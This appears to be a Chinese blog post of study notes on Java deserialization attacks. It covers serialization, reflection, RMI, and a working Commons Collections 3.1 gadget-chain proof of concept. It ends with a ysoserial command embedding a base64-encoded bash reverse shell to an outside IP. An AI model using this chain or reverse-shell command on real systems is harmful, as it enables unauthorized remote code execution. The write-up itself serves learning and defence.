java反序列化漏洞

序列化和反序列化

import java.io.*;

public class Serialize {
    public static void main(String[] args) throws Exception{
        //要序列化的数据
        String name = "sijidou";

        //序列化
        FileOutputStream fileOutputStream = new FileOutputStream("serialize1.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(name);
        objectOutputStream.close();

        //反序列化
        FileInputStream fileInputStream = new FileInputStream("serialize1.txt");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        Object result = objectInputStream.readObject();
        objectInputStream.close();
        System.out.println(result);
    }
}

这里序列化和反序列化的数据都是name变量。只不过这里的序列化之后的字符串都是写入到文件里的,若是传输到服务器上应该原理也差不多。对于反序列化的意义其实在php中大致已经了解了。为了方便存储和传输数据。我理解的这里的反序列化数据可能是要和rmi联系在一起用于对服务器上的java程序进行更新。

序列化:首先是打开一个文件的输入流,然后打开一个对象输出流,将对象写入到流里面去。最后对象输出流写入到文件输入流里面,写入的是对象的序列化字符串,即写入到了文件里面。主要函数应该是writeObject

反序列化:首先是打开一个文件的输出流,然后打开一个对象输入流,将文件内容读入到对象输入流里面,然后读取对象,自动进行反序列化。主要函数是readObject

这里的词语并不规范只是按照我的理解写的。其实这里的序列化的内容并不一定是个字符串也可以是个对象,类比php序列化。而且若是对象和类的话,需要类内的字段和方法都要能被序列化,这就需要类继承Serializable接口。

另外一个复杂点的例子:

需要被序列化的类:

package serialize;

import java.io.Serializable;

public class User implements Serializable{
    private String name;
    public void setName(String name) {
        this.name=name;
    }
    public String getName() {
        return name;
    }
}

序列化和反序列化:

package serialize;

import java.io.*;

public class Main {
    public static void main(String[] args) throws Exception {
        User user=new User();
        user.setName("leixiao");

        byte[] serializeData=serialize(user);
        FileOutputStream fout = new FileOutputStream("user.bin");
        fout.write(serializeData);
        fout.close();
        User user2=(User) unserialize(serializeData);
        System.out.println(user2.getName());
    }
    public static byte[] serialize(final Object obj) throws Exception {
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }
    public static Object unserialize(final byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }
}

/*
leixiao
*/

image-20201004224008314

这里就是直接将序列化之后的字符串写入到了输出用的缓存内的字节数组里面。

一个有点意思的例子:

package evilSerialize;
import java.io.*;

public class Main {
    public static void main(String[] args) throws Exception {
        Evil1 evil=new Evil1();
        evil.cmd="calc";
//        String evil1="123";

        byte[] serializeData=serialize(evil);
        System.out.println("success1");
        unserialize(serializeData);
        System.out.println("success2");
    }
    public static byte[] serialize(final Object obj) throws Exception {
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        System.out.println("success11");
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        System.out.println("success12");
        objOut.writeObject(obj);
        System.out.println("success13");
        return btout.toByteArray();
    }
    public static void unserialize(final byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        objIn.readObject();
    }
}
class Evil1 implements java.io.Serializable{
    public String cmd;

    private void readObject(java.io.ObjectInputStream stream) throws Exception {
        stream.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }
//    public void test1() throws Exception {
//        Runtime.getRuntime().exec("calc");
//    }
}

原理是覆写了readObject方法,导致后面的恶意代码的执行。但是这里的evil1并没有继承ObjectOutputStream类,仅仅是继承了一个接口而已。/懵逼//找到了某篇博客上的一句话/

如果readObject方法被反序列化的类重写,虚拟机在反序列的过程中,会使用被反序列化类的readObejct方法。

反射

然后就是反射的一些内容,因为之前已经整理过相关的笔记了这里就不再赘述。这里的反射主要用于辅助构造反序列化漏洞的pop链。下面是一个利用反射执行代码的例子:

package reflection;

public class Exec {
    public static void main(String[] args) throws Exception {
        //java.lang.Runtime.getRuntime().exec("calc.exe");

        Class runtimeClass=Class.forName("java.lang.Runtime");
        Object runtime=runtimeClass.getMethod("getRuntime").invoke(null);// getRuntime是静态方法,invoke时不需要传入对象
        runtimeClass.getMethod("exec", String.class).invoke(runtime,"calc.exe");
    }
}

这里的invoke函数的第一个参数就是在哪个实例上执行getmethod获取的函数,其实就是.前面的内容。第二个参数就是函数执行需要的参数。

Runtime类是单实例的,每个Java应用程序都有一个该类的实例,它允许应用程序和运行应用程序的环境进行交互。可使用getRuntime方法获取该类的实例。

因为每个程序都有一个该类的实例,而这里的getRuntime方法是静态方法,类似于公用一块区域。所以可以调用此方法返回该程序中该类的实例,至于交互应该就是和运行环境的交互。exec方法:在单独的进程中执行指定的字符串命令的方法。该方法会返回一个Process的实例,该方法有许多的重载,参见jdk源码。

关于返回结果类型:Process,它有几个方法:

1.destroy():杀掉子进程

2.exitValue():返回子进程的出口值,值 0 表示正常终止

3.getErrorStream():获取子进程的错误流

4.getInputStream():获取子进程的输入流

5.getOutputStream():获取子进程的输出流

6.waitFor():导致当前线程等待,如有必要,一直要等到由该 Process 对象表示的进程已经终止。如果已终止该子进程,此方法立即返回。如果没有终止该子进程,调用的线程将被阻塞,直到退出子进程,根据惯例,0 表示正常终止

那么这里的恶意代码就可以解释为:我们需要找的是getRuntime()方法使其返回一个Runtime的实例,然后使用实例的exec方法来启动一个子进程使之执行系统命令。

首先我们需要获取Runtime类的class实例,然后获取其getRuntime()方法,并执行之。返回的即为一个Runtime实例。

Class runtimeClass=Class.forName("java.lang.Runtime");
Object runtime=runtimeClass.getMethod("getRuntime").invoke(null);

获取到的实例可以作为invoke方法的第一个参数使用,这时候就可以执行Runtime类的exec方法了。这里的执行看起来有点别扭,但是没问题的。exec方法不能直接用类来执行,因为不是静态函数,只能在类的实例中执行。getRuntime方法是静态函数可以直接用类来执行,并且返回exec方法需要的一个实例。

runtimeClass.getMethod("exec", String.class).invoke(runtime,"calc.exe");

RMI

浅析

Java RMI(Java Remote Method Invocation),即Java远程方法调用。是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。

远程方法调用是分布式编程中的一个基本思想。而RMI(Remote Method Invocation)是专为Java环境设计的远程方法调用机制
远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法。

RMI依赖的通信协议为JRMP(Java Remote Message Protocol ,Java 远程消息交换协议),该协议为Java定制,要求服务端与客户端都为Java编写。这个协议就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。在RMI中对象是通过序列化方式进行编码传输的。

远程服务器实现的是具体方法的接口,就比如说某个方法。而本地的客户端提供的是方法需要的参数,而怎么传递参数呢,主要是通过序列化字节流的方式来传递的。/还是有些疑惑的,漏洞是如何产生的呢?/

传输原理:

英文stub :存根
英文skeletons :框架

1.客户端 => 客户端本地的stub类
2.客户端本地的stub类把信息序列化 => 服务器端的skeletons类
3.服务器端的skeletons类把信息反序列化 => 服务器端的对应类进行处理
4.服务器端对应类处理完后 => 服务器端的skeletions类
5.skeletions类序列化数据 => 客户端本地的stub类
6.客户端本地的stub类把数据反序列化 => 客户端

再放一张图来辅助理解:

会注意到这里有个注册远程对象的操作,而注册的对象应该是在注册表上有记录的。当server注册完成一个对象的时候,JVM会自动监听一个端口。client并不知道Server远程对象的通信端口,但是Stub中包含了这些信息,并封装了底层网络操作。Client端可以调用Stub上的方法。Stub连接到Server端监听的通信端口并提交参数。远程Server端上执行具体的方法,并返回结果给StubStub返回执行结果给Client端,从Client看来就好像是Stub在本地执行了这个方法一样。
那怎么获取Stub呢?常见的方法是调用某个远程服务上的方法,获取Stub。但是调用远程方法又必须先有远程对象的Stub,所以这里有个死循环问题。JDK提供了一个RMI注册表(RMIRegistry)来解决这个问题。RMIRegistry也是一个远程对象,默认监听在1099端口。

使用RMI Registry之后,RMI的调用关系是这样的:

远程对象应该是常有的,但是相关的查询以及调用不是持久的。

a demo

定义一个远程接口:

package RMI;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IUser extends Remote {
    public void setName(String name) throws RemoteException;
    public String getName() throws RemoteException;
}

IUser是客户端和服务端共用的接口,客户端本地必须有远程对象的接口,不然无法指定要调用的方法。 远程接口必须继承Remote,而且所有参数和返回类型都必须可以序列化(因为需要网络传输),任意远程对象都需要实现该接口。/大概是怕本地不能初始化?/

实现一个远程对象:

package RMI;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class User extends UnicastRemoteObject implements IUser {
    protected User() throws RemoteException {
        //UnicastRemoteObject.exportObject(this,0);
    }
    private String name;

    public String getName() throws RemoteException{
        return name;
    }
    public void setName(String name) throws RemoteException{
        this.name=name;
    }
}

需要继承UnicastRemoteObject类,才表明其可以作为远程对象,被注册到注册表中供客户端远程调用。如果不继承UnicastRemoteObject类,则需要手工初始化远程对象,在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法。这里应该是还未创建一个远程对象。

服务端:

package RMI;

import java.net.MalformedURLException;
import java.rmi.*;
import java.rmi.registry.*;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
        User user=new User();//创建一个远程对象

        Registry registry = LocateRegistry.createRegistry(1099);//本地主机上的远程对象注册表Registry的实例,默认端口1099
        registry.bind("user", user);//把远程对象注册到RMI注册服务器上,并命名为user

        System.out.println("server ready...");
    }
}

客户端:

import java.net.MalformedURLException;
import java.rmi.*;
import java.rmi.registry.*;

public class RMIClient {
    public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException {
        Registry registry = LocateRegistry.getRegistry("localhost",1099);
        IUser user = (IUser)registry.lookup("user");// 从Registry中检索远程对象的存根/代理

        user.setName("leixiao");// 调用远程对象的方法
        System.out.println(user.getName());
    }
}

LocateRegistry.getRegistry()会使用给定的主机和端口等信息本地创建一个Stub对象作为Registry远程对象的代理,从而启动整个远程调用逻辑。服务端应用程序可以向RMI注册表中注册远程对象,然后客户端向RMI注册表查询某个远程对象名称,来获取该远程对象的Stub。客户端和服务端用的都是LocateRegistry,都是相当于对本地的操作。/因为之前说了,客户端也是要有对应的接口的,否则会出问题,那么怎么判断引用的是本地的接口呢?哦,本地的只有接口,而我们get到的是一个全新仅存在于服务器的某个类的的对象。/

客户端lookup找到的对象,只是该远程对象的Stub(存根对象),而服务端的对象有一个对应的骨架Skeleton(用于接收客户端stub的请求,以及调用真实的对象)对应,Stub是远程对象的客户端代理,Skeleton是远程对象的服务端代理,他们之间协作完成客户端与服务器之间的方法调用时的通信。/那么说对于对象的修改仅是对于本地存根对象的修改,而修改是copy到服务端去的?/

JAVA Apache-CommonsCollections3.1 反序列化RCE漏洞

这里利用的主要是InvokerTransformer类可以通过Java的反射机制来调用任意函数,再配合其他类的包装最终完成反序列化漏洞。

先贴一下InvokerTransformer类的transform方法:

这里的transform函数实现的是反射形式的方法的调用,先获取其class实例,然后再执行一次实例的方法,返回的是执行之后的结果。且方法名和参数类型都可控。这里的getmethod方法的第二个参数应该是所要获取方法的参数的类型,然后invoke方法的第二个参数应该是执行方法需要的参数。

一个非常正经的利用demo

package invokerTransformerDemo;

import org.apache.commons.collections.functors.InvokerTransformer;

public class Demo {
    public static void main(String[] args) throws Exception {
        //Class runtimeClass=Class.forName("java.lang.Runtime");
        //Object runtime=runtimeClass.getMethod("getRuntime").invoke(null);
        //runtimeClass.getMethod("exec", String.class).invoke(runtime,"calc.exe");

        Class runtimeClass=Class.forName("java.lang.Runtime");// Runtime的class实例

        //借助InvokerTransformer调用runtimeClass的getMethod方法,参数是getRuntime,最后返回的其实是一个Method对象即getRuntime方法
        Object m_getMethod=new InvokerTransformer("getMethod",new Class[] {
                String.class,Class[].class},new Object[] {
                "getRuntime",null
        }
        ).transform(runtimeClass);

        //借助InvokerTransformer调用m_getMethod的invoke方法,没有参数,最后返回的其实是runtime这个对象
        Object runtime=new InvokerTransformer("invoke",new Class[] {
                Object.class,Object[].class},new Object[] {
                null,null
        }
        ).transform(m_getMethod);

        //借助InvokerTransformer调用runtime的exec方法,参数为calc.exe,返回的自然是一个Process对象
        Object exec=new InvokerTransformer("exec",new Class[] {
                String.class},new Object[] {
                "calc.exe"
        }
        ).transform(runtime);
    }
}

第二个demo:

package reflectionChain;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;

public class ReflectionChain {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers=new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[] {
                        String.class,Class[].class},new Object[] {
                        "getRuntime",null
                        }
                ),
                new InvokerTransformer("invoke",new Class[] {
                        Object.class,Object[].class},new Object[] {
                        null,null
                        }
                ),
                new InvokerTransformer("exec",new Class[] {
                        String.class},new Object[] {
                        "calc.exe"
                        }
                )
        };

        ChainedTransformer chain= new ChainedTransformer(transformers);
        chain.transform(null);
    }
}

对于这个demo需要了解几个类以及方法。

ConstantTransformer类的transform方法,以及对应的构造函数:

ChainedTransformer以及其transform方法:

需要注意的是这里的构造函数接受的是transformer对象数组,另外一个方法则是对每个数组内的对象执行transform方法并将执行的结果作为数组下一个对象的方法参数。这里的demo的第一步肯定是调用一次ChainedTransformertransform方法,然后进入到一个循环里面。而在循环里面因为执行的也是transform方法,但是原类的transform方法会被对象的transform方法覆写,导致执行我们的想要他执行的transform方法。

看到这里我们需要做的就是可以让我们构造的含有链子的ChainedTransformer对象来执行transform函数。接着看TransformedMap类的源码,在checkSetValue函数中调用了valueTransformertransform函数:

找构造函数:

发现构造函数为protected,继续找别的方法,发现decorate可以返回一个transformedmap对象。我们需要传入的是一个map实例,一个transformer实例。因为我们之前的找的几个类都是继承了transformer接口,因此不必担心类型的问题。

demo补充一部分:

Map innermap = new HashMap();
innermap.put("key", "value");
Map outmap = TransformedMap.decorate(innermap, null, chain);

继续寻找可以触发checkSetValue方法的地方,这里找到的应该是Map.entry接口的setValue函数,但是找了半天没找到对应的代码,所以这里用别人的图:

Map.Entry onlyElement = (Map.Entry) outmap.entrySet().iterator().next();
onlyElement.setValue("foobar");

只要对outmap做以上的操作就可以实现代码执行。这里的Map.EntryMap接口的一个子接口,entrySet方法是返回一个Set集合,此集合的类型为Map.EntryMap.Entry中的setValue()函数最终会触发checkSetValue()函数。其实到这里还不能完全和反序列化联系在一起,因为如果我们把payload打出去的话,还不能实现可以自动执行。设想一下,如果readObject方法内,存在对于序列化对象的setValue操作,那么执行完全是可以的,接下来我们需要找可以利用的覆写的readObject方法。

之前提过如果某个可序列化的类重写了readObject()方法,反序列化时就优先调用重写后的方法,如果能找到一个类在其readObject()方法中对Map类型的变量进行了键值修改操作,且这个Map变量是可控的,那么就可以实现攻击目标。

接下来来看一个类的覆写的readObject函数:

    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        GetField var2 = var1.readFields();//返回反序列化对象的字段的getfield命令对象。
        Class var3 = (Class)var2.get("type", (Object)null); //返回指定对象的字段值
        Map var4 = (Map)var2.get("memberValues", (Object)null);
        AnnotationType var5 = null;

        try {
            var5 = AnnotationType.getInstance(var3);
        } catch (IllegalArgumentException var13) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var6 = var5.memberTypes();
        LinkedHashMap var7 = new LinkedHashMap();

        String var10;
        Object var11;
        for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
            Entry var9 = (Entry)var8.next();
            var10 = (String)var9.getKey();
            var11 = null;
            Class var12 = (Class)var6.get(var10);
            if (var12 != null) {
                var11 = var9.getValue();
                if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
                    var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
                }
            }
        }

        AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
        AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
    }

/这段代码真的是太捏🐎难读了。/而且我的这个包的版本也有点问题,没有setValue的操作。放一个别人的图:

然后,贴出最后的demo

package poc;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.TransformedMap;

public class Poc {

    public static void main(String[] args) throws Exception {
        Transformer[] transformers=new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[] {
                        String.class,Class[].class},new Object[] {
                        "getRuntime",null
                        }
                ),
                new InvokerTransformer("invoke",new Class[] {
                        Object.class,Object[].class},new Object[] {
                        null,null
                        }
                ),
                new InvokerTransformer("exec",new Class[] {
                        String.class},new Object[] {
                        "calc.exe"
                        }
                )
        };

        ChainedTransformer chain= new ChainedTransformer(transformers);

        Map innermap = new HashMap();
        innermap.put("key", "value");
        Map outmap = TransformedMap.decorate(innermap, null, chain);

        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Retention.class, outmap);

        File f = new File("temp.bin");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(instance);
    }

}

工具

ysoserial生成payload

https://github.com/frohoff/ysoserial/

例子:

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDcuMTExLnh4eC8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser

后记

感觉切入点是覆写的readObject方法,然后还有各种方法的覆写以及类接口的继承关系,以及向上转型等,感觉基础知识需要的还是蛮多的。需要在readObject方法中找到一些特殊函数来引动链子,一层一层导致最后的代码执行。

参考链接:

https://xz.aliyun.com/t/6787
https://xz.aliyun.com/t/4711
https://www.freebuf.com/column/155381.html
https://www.cnblogs.com/Fluorescence-tjy/p/11222052.html
说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...